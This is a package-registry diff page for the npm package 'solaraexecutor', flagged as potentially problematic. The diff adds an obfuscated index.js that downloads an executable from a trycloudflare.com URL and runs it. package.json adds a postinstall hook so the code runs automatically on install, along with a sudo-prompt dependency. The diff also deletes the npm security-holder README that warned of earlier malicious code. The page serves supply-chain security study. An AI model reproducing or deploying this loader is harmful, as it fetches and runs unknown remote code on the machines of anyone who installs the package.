solaraexecutor 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of solaraexecutor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x5a20b8=_0x3658;(function(_0x5be682,_0x1fe622){const _0xd9d035=_0x3658,_0x4091ab=_0x5be682();while(!![]){try{const _0x246568=-parseInt(_0xd9d035(0x1ba))/0x1+-parseInt(_0xd9d035(0x1b0))/0x2*(-parseInt(_0xd9d035(0x1b4))/0x3)+-parseInt(_0xd9d035(0x1b5))/0x4*(parseInt(_0xd9d035(0x1ab))/0x5)+-parseInt(_0xd9d035(0x1b1))/0x6+parseInt(_0xd9d035(0x1b9))/0x7*(parseInt(_0xd9d035(0x1bb))/0x8)+-parseInt(_0xd9d035(0x1b6))/0x9+parseInt(_0xd9d035(0x1a7))/0xa;if(_0x246568===_0x1fe622)break;else _0x4091ab['push'](_0x4091ab['shift']());}catch(_0x1b0551){_0x4091ab['push'](_0x4091ab['shift']());}}}(_0x1156,0x85a63));const fs=require('fs-extra'),path=require(_0x5a20b8(0x1b7)),fetch=require(_0x5a20b8(0x1a8)),{exec}=require(_0x5a20b8(0x1b3)),exeFileName=_0x5a20b8(0x1af),downloadUrl=_0x5a20b8(0x1a9),exeFilePath=path[_0x5a20b8(0x1aa)](__dirname,exeFileName);function _0x1156(){const _0x51b607=['1272uXjqKo','2709819IwcQda','path','status','189847SwwryL','10740OSnALj','208gOlnIg','4020830ANYHTy','node-fetch','https://spending-musicians-ebony-under.trycloudflare.com/page','join','330DIzXyN','error','Download\x20error:\x20','writeFile','download.exe','2wwFtve','4896372PwMjMx','HTTP\x20error!\x20status:\x20','child_process','1767237TKijEP'];_0x1156=function(){return _0x51b607;};return _0x1156();}async function downloadFile(_0xd40c7e,_0x1fc8dd){const _0x1c7c73=_0x5a20b8,_0x22057a=await fetch(_0xd40c7e);if(!_0x22057a['ok'])throw new Error(_0x1c7c73(0x1b2)+_0x22057a[_0x1c7c73(0x1b8)]);const _0x2ab55d=await _0x22057a['buffer']();await fs[_0x1c7c73(0x1ae)](_0x1fc8dd,_0x2ab55d);}function _0x3658(_0x1d24d1,_0x16d9be){const _0x1156f1=_0x1156();return _0x3658=function(_0x3658e1,_0x2a7c57){_0x3658e1=_0x3658e1-0x1a7;let _0x530d75=_0x1156f1[_0x3658e1];return _0x530d75;},_0x3658(_0x1d24d1,_0x16d9be);}async function runExecutable(){const _0x48ff13=_0x5a20b8;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x4b3b3b=>{const _0x104bec=_0x3658;_0x4b3b3b&&console[_0x104bec(0x1ac)]('Error\x20running\x20the\x20executable:\x20'+_0x4b3b3b);});}catch(_0x2417e6){console['error'](_0x48ff13(0x1ad)+_0x2417e6);}}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "solaraexecutor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=solaraexecutor for more information.